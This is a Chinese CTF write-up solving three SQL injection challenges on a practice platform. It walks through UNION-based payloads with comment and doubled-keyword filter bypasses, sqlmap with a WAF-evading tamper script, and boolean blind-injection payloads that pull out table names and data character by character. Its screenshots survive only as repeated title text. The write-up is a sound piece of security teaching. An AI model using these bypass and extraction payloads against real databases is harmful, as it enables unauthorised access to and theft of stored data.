简单的sql注入1-3详解及相关阅读(实验吧)

1 简单的Sql注入

类型:sql注入

题目链接:

http://www.shiyanbar.com/ctf/1875

解题过程:

打开页面看到一个输入框和提交,先尝试输入一些简单的东西,发现输入1 2 3都是有结果的,输入4之后没有结果。

按照sql注入惯用思想,尝试输入特殊字符——单引号,可以看到报错,并且根据错误信息可以推断数据库语句可能是简单的select xxx from xxx

 

在注入时,需要获取某字符,可以使用联合查询的方式(如果是登录的话可以使用万能登录字符串)进行尝试,需要先获取数据库名、表名及字段名

 

获取数据库名:输入   1' union select database()' 但是发现报错中只有 'database()''' ,于是猜测是否对于数据库语句进行了过滤。再次进行输入判断其过滤方式:

输入1' unionselect database()',发现报错为  'uniondatabase()''' ,对比前一次发现,union未被过滤,而select依旧被过滤,判断是过滤带有空格的数据库关键词,此时可以通过很多方式进行绕过,如加上+、%0a、%0b、/**/等字符,或者将关键词写两遍,如上,查询数据库名时输入: 1' union/**/select/**/database()',得到数据库名称为 web1

 

下面用同样的方法查询表名,输入:

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/

table_schema/**/='web1

发现报错,并且报错信息中只有 '='web1'',根据之前所得,判断是否存在字符串的过滤,猜测被过滤的字符串为 information_schema.tables,此时想到一个比较好的方法,重写两遍,并且将其中一个穿插在另一个中间,这样完整的关键词被过滤后,剩下的仍然为一个完整的管检测,输入:

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/

table_schtable_schemaema/**/='web1

可以查得表名为flag,那么剩下的就是查出字段名就可以查flag了,输入:

1'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

发现报错,并且报错为:

'from/**//**/where/**/table_name='flag''

那么根据前面的经验,column_name和information_schema.columns应该是被强制过滤了,同样重写,输入:

1'union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

此时可以看到字段名,一个为flag一个为id,明显猜测是flag,最后查询出flag,输入:

1' union/**/select/**/flag/**/from/**/flag where/**/'1'='1

得出flag:

flag{[email protected]_5O_dAmn_90Od}

总结:

对sql语句还是要有一定的熟悉,在做这种题的时候要有敏感性,并且常去积累一些常用的绕过过滤的方法和查询语句。

这一题主要还是对于过滤的判断,当找到过滤的是什么之后,问题就变得简单很多了。

 

2.简单的sql注入之2

类型:sql注入

题目链接:

http://www.shiyanbar.com/ctf/1908

 

解题过程:

此题和简单的sql注入类似,不过过滤的内容更多,输入下列语句即可:

1’/**/union/**/select/**/flag from/**/flag#

 

另外,尝试使用sqlmap进行注入

直接使用

简单的sql注入1-3详解及相关阅读(实验吧)

发现无法连接,报错信息如下:

简单的sql注入1-3详解及相关阅读(实验吧)

判断是否是存在waf,加上--tamper space2comment.py 后再次注入尝试:

简单的sql注入1-3详解及相关阅读(实验吧)

有输出结果:

简单的sql注入1-3详解及相关阅读(实验吧)

 

注入点为 id,数据库类型为mysql

这里就不啰嗦了,直接尝试对数据库名——>表名——>字段名——>字段的注入

 

简单的sql注入1-3详解及相关阅读(实验吧)

数据库名:

简单的sql注入1-3详解及相关阅读(实验吧)

简单的sql注入1-3详解及相关阅读(实验吧)

 

列出所有表名:

 

简单的sql注入1-3详解及相关阅读(实验吧)

列出指定数据库表名:

简单的sql注入1-3详解及相关阅读(实验吧)

简单的sql注入1-3详解及相关阅读(实验吧)

 

列出指定表中字段:

 

简单的sql注入1-3详解及相关阅读(实验吧)

简单的sql注入1-3详解及相关阅读(实验吧)

列出指定表中的字段内容(这里是列出表的条目,所以需要使用 --dump):

简单的sql注入1-3详解及相关阅读(实验吧)

简单的sql注入1-3详解及相关阅读(实验吧)

 

 

总结:

Sqlmap的使用还是需要多加练习,尤其是对于一些参数的使用,在进行注入时,对一些提示也要能够弄懂。在这题中还是主要是一个 --tamper的使用,是使用模块辅助注入,这里的space2comment.py是sqlmap自带的一个脚本,用于绕过waf。而在列出数据库表中条目中,记得需要使用dump,在列出字段、表名时,最好是指定数据库名和表名,否则会将一些其他东西列出来,当然如果的确需要列出这么多信息那就另当别论了。另外,tamper是sqlmap使用中绕过过滤的好方法,需要多加练习和掌握。

阅读:

https://blog.****.net/ru_li/article/details/51452488(sqlmap注入之tamper绕过WAF防火墙过滤)

https://www.cnblogs.com/swyft/articles/5587646.html(深入了解SQL注入绕过waf和过滤机制)

 

 

3 简单的Sql注入之3

类型:sql注入

题目链接:

http://www.shiyanbar.com/ctf/1909

解题过程:

此处为报错的sql盲注,主要看可以先使用下列语句,得出数据库名

     1' and (select count(*) from aaa) > 0 #

 

或者使用burpsuite抓包重发,直接猜解数据库名:

          1' and ascii(substr(database(),char,1)) = ascii #

其中char设置为0-10,ascii设置为30-127,下面同

关于char的范围,也可以通过下列语句进行猜解(number为猜解时变量,下面同):

          1' and length(database())>number #

 

猜解出数据库名后,此时需要继续进行猜解得出表名,进而判断哪一个表可能存储了flag

 

先猜测表的个数

    1' and (select count(table_name) from information_schema.tables where table_schema=database())=number#

 

猜表名

    第一个表名:flag

    1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=number#    第一个表名长度为4

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),char,1))=ascii#    得到第一个表名为flag

 

到这一步其实就可以大胆猜测是否就是存储在flag表中了,直接对其字段进行猜解:

 

第一个表列名长度

    1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1))=number#     猜解得列名长度4

    1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1),char,1))=ascii#猜解得列名为flag

 

猜数据

    1' and (select count(*) from flag)=number #    猜的有一行数据

    1' and length((select flag from flag limit 1))= number #    猜得数据长度26

1' and ascii(substr((select flag from flag limit 1),char,1)) = ascii #     猜解得flag

 

其实这里如果有字典的话,可以直接用burpsuite跑字典,在对于表名、字段名的猜解中,直接设置payload为这个字典,跑字典即可:

         猜表名: 1' and (select count(*) from string)>0#  string为payload

         猜字段名:1' union select string from flag #

 

注释:     limit为sql查询语句中对于查询范围的限制

limit a,b 意为查询 a+1~b的所有条目,limit n表示打印前n个条目,等同于limit 0,n,limit a,-1意为查询a+1到最后所有条目

 

总结:

         Sql盲注算是ctf中sql注入的常见形式,在注入时需要掌握对一些sql报错信息的含义,也要有一定的敏感性,能够判断出来是否可以使用**,可以使用怎样的猜解方式。

         另外,平时需要对字典进行积累,在做题时使用**时可以达到事半功倍的效果。

 

阅读:

Ascii码查询:http://ascii.911cha.com/

Burpsuite四种**模式:https://blog.****.net/u012804180/article/details/52015224

Sqlmap注入使用攻略:https://www.freebuf.com/sectool/164608.html